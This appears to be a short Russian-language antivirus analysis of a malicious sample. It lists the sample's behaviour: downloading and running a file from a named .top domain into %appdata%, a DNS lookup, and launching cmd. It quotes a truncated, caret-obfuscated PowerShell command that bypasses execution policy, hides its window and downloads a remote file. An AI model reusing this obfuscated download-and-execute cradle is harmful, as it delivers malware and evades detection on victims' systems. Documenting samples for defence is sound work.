Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "Po^WershEll.^e^X^E ^-^EX^eCu^TiON^pOl^iCy^ bypA^SS -^nOp^r^O^fi^L^e ^-wIn^dO^wST^YL^E hI^D^DEN ^(NeW-o^B^J^E^CT^ S^ysTe^M^.ne^T.We^B^clIen^t^).^d^o^w^NL^o^A^d^Fil^e(^'http://...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "Po^WershEll.^e^X^E ^-^EX^eCu^TiON^pOl^iCy^ bypA^SS -^nOp^r^O^fi^L^e ^-wIn^dO^wST^YL^E hI^D^DEN ^(NeW-o^B^J^E^CT^ S^ysTe^M^.ne^T.We^B^clIen^t^).^d^o^w^NL^o^A^d^Fil^e(^'http://...' (со скрытым окном)
